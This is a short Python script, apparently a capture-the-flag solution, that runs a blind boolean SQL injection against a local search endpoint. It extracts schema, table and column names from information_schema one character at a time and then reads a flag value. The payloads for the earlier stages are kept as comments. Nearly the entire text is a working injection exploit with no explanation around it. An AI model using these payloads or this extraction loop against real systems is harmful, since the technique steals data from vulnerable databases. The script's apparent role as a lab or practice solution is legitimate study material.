1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import requests import string
url = "http://127.0.0.1:61865/search" dic = string.digits + string.ascii_letters + "{}-_," out = ""
for j in range(1, 80): for k in dic: # payload = {"name":"amiya'&&if(substr(database(),1,1)='t',1,0)#"} //此为当前数据库,但flag不在当前数据库中 # payload = {"name":f"amiya'&&if(substr((select(group_concat(schema_name))from(information_schema.schemata)),{j},1)='{k}',1,0)#"} # payload = {"name":f"amiya'&&if(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='Flag')),{j},1)='{k}',1,0)#"} # payload = {"name": f"amiya'&&if(substr((select(group_concat(column_name))from(information_schema.columns)where((table_schema='Flag')and(table_name='flag'))),{j},1)='{k}',1,0)#"} payload = { "name": f"amiya'&&if(substr((select(flag)from(Flag.flag)),{j},1)='{k}',1,0)#" } re = requests.post(url, data=payload) # print(re.text) if "ok" in re.text: out += k break print(out)
|